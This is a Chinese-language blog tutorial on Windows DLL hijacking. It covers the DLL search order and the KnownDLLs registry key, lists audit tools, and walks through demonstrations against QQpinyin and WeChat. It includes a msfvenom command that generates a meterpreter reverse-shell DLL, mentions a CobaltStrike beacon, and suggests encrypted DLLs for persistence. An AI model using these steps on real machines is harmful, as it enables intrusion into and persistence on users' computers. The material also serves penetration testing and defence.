@Authro: Patrilic
@Time: 2019-08-23 12:18:04

0x00 Introduce

DLL Hijacking, 顾名思义,就是DLL劫持,利用DLL劫持,可以通过调用恶意dll文件来执行shellcode。
所以,DLL是什么呢?
维基百科

简单来说,exe文件本身不需要很多函数,而是去调用DLL文件中的函数,当进程运行到需要调用时,就去从文件中调用对应的函数,然后当我们能够中间插入自己的DLL并想办法让程序运行我们的DLL时,就造成了劫持。

0x01 DLL Hijacking

DLL hijacking 在 CWE上又名: Untrusted Search Path Vulnerability
https://cwe.mitre.org/data/definitions/426.html

dll劫持通过利用DLL的加载顺序,让我们的恶意dll在正常的dll前面加载,就可以进行劫持了

DLL Search Order

下面来看一下dll的加载顺序:
官方文档: https://docs.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-search-order

应用程序可以通过以下方式控制一个DLL的加载路径:使用全路径加载、使用DLL重定向、使用manifest文件。如果上述三种方式均未指定,系统查找DLL的顺序将按照本部分描述的顺序进行。

然后这里有两个前提条件,对以下两种情况的DLL,程序不会查找,而是直接引用

  1. 对于已经加载到内存中的同名DLL,系统使用已经加载的DLL,并且忽略待加载DLL的路径。(注意对某个进程而言,系统已经加载的DLL一定是唯一的存在于某个目录下。)
  2. 如果该DLL存在于某个Windows版本的已知DLL列表(unkown DLL)中,系统使用已知DLL的拷贝(包括已知DLL的依赖项)。已知DLL列表可以从如下注册表项看到:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs。
    0c6f2cf4e21cd827fdff57790b3a5982
1
2
3
4
5
6
7

1.程序所在目录
2.程序加载目录(SetCurrentDirectory)
3.系统目录即 SYSTEM32 目录
4.16位系统目录即 SYSTEM 目录
5.Windows目录
6.PATH环境变量中列出的目录

我们使用ProcessMonitor来监控进程
可以通过👉https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon下载

Do it

这里使用自动化的审计工具进行DLL劫持分析
推荐Windows下使用Dll Hijack Auditor

我们以Vc++6.0编辑器为例
fec186d523049fcb19d40672cee5dd97

生成报告

d09587368427f553d0cb26464aed4cb3
我们可以看到存在dll可以劫持

然而这个我发现,好像并不能使用2333
那要怎么手动寻找呢?反正DLL的加载,我们只需要从程序已经加载的DLL列表中,查找在“KnownDLLs注册表项”中不存在的DLL。
然后将恶意dll放在程序当前目录即可

然后还有两个利器:

Robber https://github.com/MojtabaTajik/Robber
Rattler https://github.com/sensepost/rattler

Hack it

用倾旋师傅之前找到的QQpinyin来做一个演示
https://payloads.online/archivers/2018-06-09/1

Msf

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=182.168.0.101 LPORT=10001 -f dll > ntmarta.dll

a0ea9b499f1498e7e373e0b512242577

CobaltStrike

278aa9975763a654cec4763eb5ab3792
同样的操作,反弹beacon
9f382d5e297f99185e2a16bd456773b4

Weixin DLL Hijacking

微信PC版相信还是用的比较多的,也常常能在一些公司电脑上看到,所以还是比较有意义的
93bf7e673548524925a9b63f75a3cf5a
当然,ProcessMonitor也能看到
d4f968dca3dd7e6f373693bcfc79fc31
构造payload劫持即可
f17d81c5fc84f728b4f876ed68c2e51d

0x02 Summary

DLL劫持也是老的不行的一个漏洞了,但是在进行维权,持续渗透的方面,一直都比较厉害。
真实环境下,我们可以制作一个加密的DLL文件,从DLLMain里进行调用,回弹shell的同时,也完成程序的正常功能,特别是针对用户常用软件的DLL劫持~虚浮了

0x03 Other to Learn

一种通用DLL劫持技术研究
老树开新花:DLL劫持漏洞新玩法
深入解析DLL劫持漏洞